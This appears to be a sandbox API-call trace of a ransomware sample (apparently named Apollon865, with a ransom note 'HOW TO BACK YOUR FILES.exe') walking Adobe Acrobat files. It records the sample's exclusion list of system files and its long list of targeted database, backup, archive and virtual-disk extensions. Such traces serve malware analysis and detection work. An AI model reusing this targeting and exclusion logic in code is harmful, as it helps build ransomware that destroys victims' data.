	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="mdb") returned -1
	[0056.721] lstrlenW (lpString="sql") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="sql") returned -1
	[0056.721] lstrlenW (lpString="sqlite") returned 6
	[0056.721] lstrcmpiW (lpString1="DF.CHS", lpString2="sqlite") returned -1
	[0056.721] lstrlenW (lpString="sqlite3") returned 7
	[0056.721] lstrcmpiW (lpString1="PDF.CHS", lpString2="sqlite3") returned -1
	[0056.721] lstrlenW (lpString="sqlitedb") returned 8
	[0056.721] lstrcmpiW (lpString1="oPDF.CHS", lpString2="sqlitedb") returned -1
	[0056.721] lstrlenW (lpString="xml") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="xml") returned -1
	[0056.721] lstrlenW (lpString="$er") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="$er") returned 1
	[0056.721] lstrlenW (lpString="4dd") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="4dd") returned 1
	[0056.721] lstrlenW (lpString="4dl") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="4dl") returned 1
	[0056.721] lstrlenW (lpString="^^^") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="^^^") returned 1
	[0056.721] lstrlenW (lpString="abs") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="abs") returned 1
	[0056.721] lstrlenW (lpString="abx") returned 3
	[0056.721] lstrcmpiW (lpString1="CHS", lpString2="abx") returned 1
	[0056.721] lstrlenW (lpString="accdb") returned 5
	[0056.721] lstrcmpiW (lpString1="F.CHS", lpString2="accdb") returned 1
	[0056.721] lstrlenW (lpString="accdc") returned 5
	[0056.721] lstrcmpiW (lpString1="F.CHS", lpString2="accdc") returned 1
	[0056.721] lstrlenW (lpString="accde") returned 5
	[0056.721] lstrcmpiW (lpString1="F.CHS", lpString2="accde") returned 1
	[0056.721] lstrlenW (lpString="accdr") returned 5
	[0056.721] lstrcmpiW (lpString1="F.CHS", lpString2="accdr") returned 1
	[0056.721] lstrlenW (lpString="accdt") returned 5
	[0056.721] lstrcmpiW (lpString1="F.CHS", lpString2="accdt") returned 1
	[0056.722] lstrlenW (lpString="accdw") returned 5
	[0056.722] lstrcmpiW (lpString1="F.CHS", lpString2="accdw") returned 1
	[0056.722] lstrlenW (lpString="accft") returned 5
	[0056.722] lstrcmpiW (lpString1="F.CHS", lpString2="accft") returned 1
	[0056.722] lstrlenW (lpString="adb") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0056.722] lstrlenW (lpString="adb") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0056.722] lstrlenW (lpString="ade") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="ade") returned 1
	[0056.722] lstrlenW (lpString="adf") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="adf") returned 1
	[0056.722] lstrlenW (lpString="adn") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="adn") returned 1
	[0056.722] lstrlenW (lpString="adp") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="adp") returned 1
	[0056.722] lstrlenW (lpString="alf") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="alf") returned 1
	[0056.722] lstrlenW (lpString="ask") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="ask") returned 1
	[0056.722] lstrlenW (lpString="btr") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="btr") returned 1
	[0056.722] lstrlenW (lpString="cat") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="cat") returned 1
	[0056.722] lstrlenW (lpString="cdb") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="cdb") returned 1
	[0056.722] lstrlenW (lpString="ckp") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="ckp") returned -1
	[0056.722] lstrlenW (lpString="cma") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="cma") returned -1
	[0056.722] lstrlenW (lpString="cpd") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="cpd") returned -1
	[0056.722] lstrlenW (lpString="dacpac") returned 6
	[0056.722] lstrcmpiW (lpString1="DF.CHS", lpString2="dacpac") returned 1
	[0056.722] lstrlenW (lpString="dad") returned 3
	[0056.722] lstrcmpiW (lpString1="CHS", lpString2="dad") returned -1
	[0056.723] lstrlenW (lpString="dadiagrams") returned 10
	[0056.723] lstrcmpiW (lpString1="croPDF.CHS", lpString2="dadiagrams") returned -1
	[0056.723] lstrlenW (lpString="daschema") returned 8
	[0056.723] lstrcmpiW (lpString1="oPDF.CHS", lpString2="daschema") returned 1
	[0056.723] lstrlenW (lpString="db-journal") returned 10
	[0056.723] lstrcmpiW (lpString1="croPDF.CHS", lpString2="db-journal") returned -1
	[0056.723] lstrlenW (lpString="db-shm") returned 6
	[0056.723] lstrcmpiW (lpString1="DF.CHS", lpString2="db-shm") returned 1
	[0056.723] lstrlenW (lpString="db-wal") returned 6
	[0056.723] lstrcmpiW (lpString1="DF.CHS", lpString2="db-wal") returned 1
	[0056.723] lstrlenW (lpString="dbc") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dbc") returned -1
	[0056.723] lstrlenW (lpString="dbs") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dbs") returned -1
	[0056.723] lstrlenW (lpString="dbt") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dbt") returned -1
	[0056.723] lstrlenW (lpString="dbv") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dbv") returned -1
	[0056.723] lstrlenW (lpString="dbx") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dbx") returned -1
	[0056.723] lstrlenW (lpString="dcb") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dcb") returned -1
	[0056.723] lstrlenW (lpString="dct") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dct") returned -1
	[0056.723] lstrlenW (lpString="dcx") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dcx") returned -1
	[0056.723] lstrlenW (lpString="ddl") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="ddl") returned -1
	[0056.723] lstrlenW (lpString="dlis") returned 4
	[0056.723] lstrcmpiW (lpString1=".CHS", lpString2="dlis") returned -1
	[0056.723] lstrlenW (lpString="dp1") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dp1") returned -1
	[0056.723] lstrlenW (lpString="dqy") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dqy") returned -1
	[0056.723] lstrlenW (lpString="dsk") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dsk") returned -1
	[0056.723] lstrlenW (lpString="dsn") returned 3
	[0056.723] lstrcmpiW (lpString1="CHS", lpString2="dsn") returned -1
	[0056.723] lstrlenW (lpString="dtsx") returned 4
	[0056.724] lstrcmpiW (lpString1=".CHS", lpString2="dtsx") returned -1
	[0056.724] lstrlenW (lpString="dxl") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="dxl") returned -1
	[0056.724] lstrlenW (lpString="eco") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="eco") returned -1
	[0056.724] lstrlenW (lpString="ecx") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="ecx") returned -1
	[0056.724] lstrlenW (lpString="edb") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="edb") returned -1
	[0056.724] lstrlenW (lpString="epim") returned 4
	[0056.724] lstrcmpiW (lpString1=".CHS", lpString2="epim") returned -1
	[0056.724] lstrlenW (lpString="fcd") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fcd") returned -1
	[0056.724] lstrlenW (lpString="fdb") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fdb") returned -1
	[0056.724] lstrlenW (lpString="fic") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fic") returned -1
	[0056.724] lstrlenW (lpString="flexolibrary") returned 12
	[0056.724] lstrlenW (lpString="fm5") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fm5") returned -1
	[0056.724] lstrlenW (lpString="fmp") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fmp") returned -1
	[0056.724] lstrlenW (lpString="fmp12") returned 5
	[0056.724] lstrcmpiW (lpString1="F.CHS", lpString2="fmp12") returned -1
	[0056.724] lstrlenW (lpString="fmpsl") returned 5
	[0056.724] lstrcmpiW (lpString1="F.CHS", lpString2="fmpsl") returned -1
	[0056.724] lstrlenW (lpString="fol") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fol") returned -1
	[0056.724] lstrlenW (lpString="fp3") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fp3") returned -1
	[0056.724] lstrlenW (lpString="fp4") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fp4") returned -1
	[0056.724] lstrlenW (lpString="fp5") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fp5") returned -1
	[0056.724] lstrlenW (lpString="fp7") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fp7") returned -1
	[0056.724] lstrlenW (lpString="fpt") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="fpt") returned -1
	[0056.724] lstrlenW (lpString="frm") returned 3
	[0056.724] lstrcmpiW (lpString1="CHS", lpString2="frm") returned -1
	[0056.724] lstrlenW (lpString="gdb") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0056.725] lstrlenW (lpString="gdb") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0056.725] lstrlenW (lpString="grdb") returned 4
	[0056.725] lstrcmpiW (lpString1=".CHS", lpString2="grdb") returned -1
	[0056.725] lstrlenW (lpString="gwi") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="gwi") returned -1
	[0056.725] lstrlenW (lpString="hdb") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="hdb") returned -1
	[0056.725] lstrlenW (lpString="his") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="his") returned -1
	[0056.725] lstrlenW (lpString="ib") returned 2
	[0056.725] lstrcmpiW (lpString1="HS", lpString2="ib") returned -1
	[0056.725] lstrlenW (lpString="idb") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="idb") returned -1
	[0056.725] lstrlenW (lpString="ihx") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="ihx") returned -1
	[0056.725] lstrlenW (lpString="itdb") returned 4
	[0056.725] lstrcmpiW (lpString1=".CHS", lpString2="itdb") returned -1
	[0056.725] lstrlenW (lpString="itw") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="itw") returned -1
	[0056.725] lstrlenW (lpString="jet") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="jet") returned -1
	[0056.725] lstrlenW (lpString="jtx") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="jtx") returned -1
	[0056.725] lstrlenW (lpString="kdb") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="kdb") returned -1
	[0056.725] lstrlenW (lpString="kexi") returned 4
	[0056.725] lstrcmpiW (lpString1=".CHS", lpString2="kexi") returned -1
	[0056.725] lstrlenW (lpString="kexic") returned 5
	[0056.725] lstrcmpiW (lpString1="F.CHS", lpString2="kexic") returned -1
	[0056.725] lstrlenW (lpString="kexis") returned 5
	[0056.725] lstrcmpiW (lpString1="F.CHS", lpString2="kexis") returned -1
	[0056.725] lstrlenW (lpString="lgc") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="lgc") returned -1
	[0056.725] lstrlenW (lpString="lwx") returned 3
	[0056.725] lstrcmpiW (lpString1="CHS", lpString2="lwx") returned -1
	[0056.725] lstrlenW (lpString="maf") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="maf") returned -1
	[0056.726] lstrlenW (lpString="maq") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="maq") returned -1
	[0056.726] lstrlenW (lpString="mar") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mar") returned -1
	[0056.726] lstrlenW (lpString="marshal") returned 7
	[0056.726] lstrcmpiW (lpString1="PDF.CHS", lpString2="marshal") returned 1
	[0056.726] lstrlenW (lpString="mas") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mas") returned -1
	[0056.726] lstrlenW (lpString="mav") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mav") returned -1
	[0056.726] lstrlenW (lpString="maw") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="maw") returned -1
	[0056.726] lstrlenW (lpString="mdbhtml") returned 7
	[0056.726] lstrcmpiW (lpString1="PDF.CHS", lpString2="mdbhtml") returned 1
	[0056.726] lstrlenW (lpString="mdn") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mdn") returned -1
	[0056.726] lstrlenW (lpString="mdt") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mdt") returned -1
	[0056.726] lstrlenW (lpString="mfd") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mfd") returned -1
	[0056.726] lstrlenW (lpString="mpd") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mpd") returned -1
	[0056.726] lstrlenW (lpString="mrg") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mrg") returned -1
	[0056.726] lstrlenW (lpString="mud") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mud") returned -1
	[0056.726] lstrlenW (lpString="mwb") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="mwb") returned -1
	[0056.726] lstrlenW (lpString="myd") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="myd") returned -1
	[0056.726] lstrlenW (lpString="ndf") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="ndf") returned -1
	[0056.726] lstrlenW (lpString="nnt") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="nnt") returned -1
	[0056.726] lstrlenW (lpString="nrmlib") returned 6
	[0056.726] lstrcmpiW (lpString1="DF.CHS", lpString2="nrmlib") returned -1
	[0056.726] lstrlenW (lpString="ns2") returned 3
	[0056.726] lstrcmpiW (lpString1="CHS", lpString2="ns2") returned -1
	[0056.727] lstrlenW (lpString="ns3") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="ns3") returned -1
	[0056.727] lstrlenW (lpString="ns4") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="ns4") returned -1
	[0056.727] lstrlenW (lpString="nsf") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="nsf") returned -1
	[0056.727] lstrlenW (lpString="nv") returned 2
	[0056.727] lstrcmpiW (lpString1="HS", lpString2="nv") returned -1
	[0056.727] lstrlenW (lpString="nv2") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="nv2") returned -1
	[0056.727] lstrlenW (lpString="nwdb") returned 4
	[0056.727] lstrcmpiW (lpString1=".CHS", lpString2="nwdb") returned -1
	[0056.727] lstrlenW (lpString="nyf") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="nyf") returned -1
	[0056.727] lstrlenW (lpString="odb") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0056.727] lstrlenW (lpString="odb") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0056.727] lstrlenW (lpString="oqy") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="oqy") returned -1
	[0056.727] lstrlenW (lpString="ora") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="ora") returned -1
	[0056.727] lstrlenW (lpString="orx") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="orx") returned -1
	[0056.727] lstrlenW (lpString="owc") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="owc") returned -1
	[0056.727] lstrlenW (lpString="p96") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="p96") returned -1
	[0056.727] lstrlenW (lpString="p97") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="p97") returned -1
	[0056.727] lstrlenW (lpString="pan") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="pan") returned -1
	[0056.727] lstrlenW (lpString="pdb") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="pdb") returned -1
	[0056.727] lstrlenW (lpString="pdm") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="pdm") returned -1
	[0056.727] lstrlenW (lpString="pnz") returned 3
	[0056.727] lstrcmpiW (lpString1="CHS", lpString2="pnz") returned -1
	[0056.727] lstrlenW (lpString="qry") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="qry") returned -1
	[0056.728] lstrlenW (lpString="qvd") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="qvd") returned -1
	[0056.728] lstrlenW (lpString="rbf") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="rbf") returned -1
	[0056.728] lstrlenW (lpString="rctd") returned 4
	[0056.728] lstrcmpiW (lpString1=".CHS", lpString2="rctd") returned -1
	[0056.728] lstrlenW (lpString="rod") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="rod") returned -1
	[0056.728] lstrlenW (lpString="rodx") returned 4
	[0056.728] lstrcmpiW (lpString1=".CHS", lpString2="rodx") returned -1
	[0056.728] lstrlenW (lpString="rpd") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="rpd") returned -1
	[0056.728] lstrlenW (lpString="rsd") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="rsd") returned -1
	[0056.728] lstrlenW (lpString="sas7bdat") returned 8
	[0056.728] lstrcmpiW (lpString1="oPDF.CHS", lpString2="sas7bdat") returned -1
	[0056.728] lstrlenW (lpString="sbf") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="sbf") returned -1
	[0056.728] lstrlenW (lpString="scx") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="scx") returned -1
	[0056.728] lstrlenW (lpString="sdb") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="sdb") returned -1
	[0056.728] lstrlenW (lpString="sdc") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="sdc") returned -1
	[0056.728] lstrlenW (lpString="sdf") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="sdf") returned -1
	[0056.728] lstrlenW (lpString="sis") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="sis") returned -1
	[0056.728] lstrlenW (lpString="spq") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="spq") returned -1
	[0056.728] lstrlenW (lpString="te") returned 2
	[0056.728] lstrcmpiW (lpString1="HS", lpString2="te") returned -1
	[0056.728] lstrlenW (lpString="teacher") returned 7
	[0056.728] lstrcmpiW (lpString1="PDF.CHS", lpString2="teacher") returned -1
	[0056.728] lstrlenW (lpString="tmd") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="tmd") returned -1
	[0056.728] lstrlenW (lpString="tps") returned 3
	[0056.728] lstrcmpiW (lpString1="CHS", lpString2="tps") returned -1
	[0056.728] lstrlenW (lpString="trc") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0056.729] lstrlenW (lpString="trc") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0056.729] lstrlenW (lpString="trm") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="trm") returned -1
	[0056.729] lstrlenW (lpString="udb") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="udb") returned -1
	[0056.729] lstrlenW (lpString="udl") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="udl") returned -1
	[0056.729] lstrlenW (lpString="usr") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="usr") returned -1
	[0056.729] lstrlenW (lpString="v12") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="v12") returned -1
	[0056.729] lstrlenW (lpString="vis") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="vis") returned -1
	[0056.729] lstrlenW (lpString="vpd") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="vpd") returned -1
	[0056.729] lstrlenW (lpString="vvv") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="vvv") returned -1
	[0056.729] lstrlenW (lpString="wdb") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="wdb") returned -1
	[0056.729] lstrlenW (lpString="wmdb") returned 4
	[0056.729] lstrcmpiW (lpString1=".CHS", lpString2="wmdb") returned -1
	[0056.729] lstrlenW (lpString="wrk") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="wrk") returned -1
	[0056.729] lstrlenW (lpString="xdb") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="xdb") returned -1
	[0056.729] lstrlenW (lpString="xld") returned 3
	[0056.729] lstrcmpiW (lpString1="CHS", lpString2="xld") returned -1
	[0056.729] lstrlenW (lpString="xmlff") returned 5
	[0056.729] lstrcmpiW (lpString1="F.CHS", lpString2="xmlff") returned -1
	[0056.729] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="Apollon865.txt.exe") returned -1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2=".") returned 1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="..") returned 1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="windows") returned -1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="bootmgr") returned -1
	[0056.729] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="temp") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="pagefile.sys") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="boot") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="ids.txt") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="ntuser.dat") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="perflogs") returned -1
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2="MSBuild") returned -1
	[0056.730] lstrlenW (lpString="AcroPDF.CHT") returned 11
	[0056.730] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS") returned 69
	[0056.730] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="AcroPDF.CHT" | out: lpString1="AcroPDF.CHT") returned="AcroPDF.CHT"
	[0056.730] lstrlenW (lpString="AcroPDF.CHT") returned 11
	[0056.730] lstrlenW (lpString="Apollon865") returned 10
	[0056.730] lstrcmpiW (lpString1="croPDF.CHT", lpString2="Apollon865") returned 1
	[0056.730] lstrlenW (lpString=".dll") returned 4
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2=".dll") returned 1
	[0056.730] lstrlenW (lpString=".lnk") returned 4
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2=".lnk") returned 1
	[0056.730] lstrlenW (lpString=".ini") returned 4
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2=".ini") returned 1
	[0056.730] lstrlenW (lpString=".sys") returned 4
	[0056.730] lstrcmpiW (lpString1="AcroPDF.CHT", lpString2=".sys") returned 1
	[0056.730] lstrlenW (lpString="AcroPDF.CHT") returned 11
	[0056.730] lstrlenW (lpString="bak") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="bak") returned 1
	[0056.730] lstrlenW (lpString="ba_") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="ba_") returned 1
	[0056.730] lstrlenW (lpString="dbb") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="dbb") returned -1
	[0056.730] lstrlenW (lpString="vmdk") returned 4
	[0056.730] lstrcmpiW (lpString1=".CHT", lpString2="vmdk") returned -1
	[0056.730] lstrlenW (lpString="rar") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="rar") returned -1
	[0056.730] lstrlenW (lpString="zip") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="zip") returned -1
	[0056.730] lstrlenW (lpString="tgz") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="tgz") returned -1
	[0056.730] lstrlenW (lpString="vbox") returned 4
	[0056.730] lstrcmpiW (lpString1=".CHT", lpString2="vbox") returned -1
	[0056.730] lstrlenW (lpString="vdi") returned 3
	[0056.730] lstrcmpiW (lpString1="CHT", lpString2="vdi") returned -1
	[0056.731] lstrlenW (lpString="vhd") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="vhd") returned -1
	[0056.731] lstrlenW (lpString="vhdx") returned 4
	[0056.731] lstrcmpiW (lpString1=".CHT", lpString2="vhdx") returned -1
	[0056.731] lstrlenW (lpString="avhd") returned 4
	[0056.731] lstrcmpiW (lpString1=".CHT", lpString2="avhd") returned -1
	[0056.731] lstrlenW (lpString="db") returned 2
	[0056.731] lstrcmpiW (lpString1="HT", lpString2="db") returned 1
	[0056.731] lstrlenW (lpString="db2") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="db2") returned -1
	[0056.731] lstrlenW (lpString="db3") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="db3") returned -1
	[0056.731] lstrlenW (lpString="dbf") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="dbf") returned -1
	[0056.731] lstrlenW (lpString="mdf") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="mdf") returned -1
	[0056.731] lstrlenW (lpString="mdb") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="mdb") returned -1
	[0056.731] lstrlenW (lpString="sql") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="sql") returned -1
	[0056.731] lstrlenW (lpString="sqlite") returned 6
	[0056.731] lstrcmpiW (lpString1="DF.CHT", lpString2="sqlite") returned -1
	[0056.731] lstrlenW (lpString="sqlite3") returned 7
	[0056.731] lstrcmpiW (lpString1="PDF.CHT", lpString2="sqlite3") returned -1
	[0056.731] lstrlenW (lpString="sqlitedb") returned 8
	[0056.731] lstrcmpiW (lpString1="oPDF.CHT", lpString2="sqlitedb") returned -1
	[0056.731] lstrlenW (lpString="xml") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="xml") returned -1
	[0056.731] lstrlenW (lpString="$er") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="$er") returned 1
	[0056.731] lstrlenW (lpString="4dd") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="4dd") returned 1
	[0056.731] lstrlenW (lpString="4dl") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="4dl") returned 1
	[0056.731] lstrlenW (lpString="^^^") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="^^^") returned 1
	[0056.731] lstrlenW (lpString="abs") returned 3
	[0056.731] lstrcmpiW (lpString1="CHT", lpString2="abs") returned 1
	[0056.731] lstrlenW (lpString="abx") returned 3
	[0056.732] lstrcmpiW (lpString1="CHT", lpString2="abx") returned 1
	[0056.732] lstrlenW (lpString="accdb") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accdb") returned 1
	[0056.732] lstrlenW (lpString="accdc") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accdc") returned 1
	[0056.732] lstrlenW (lpString="accde") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accde") returned 1
	[0056.732] lstrlenW (lpString="accdr") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accdr") returned 1
	[0056.732] lstrlenW (lpString="accdt") returned 5
	[0056.732] lstrcmpiW (lpString1="F.CHT", lpString2="accdt") returned 1
	[0056.732] lstrlenW (lpString="accdw") returned 5
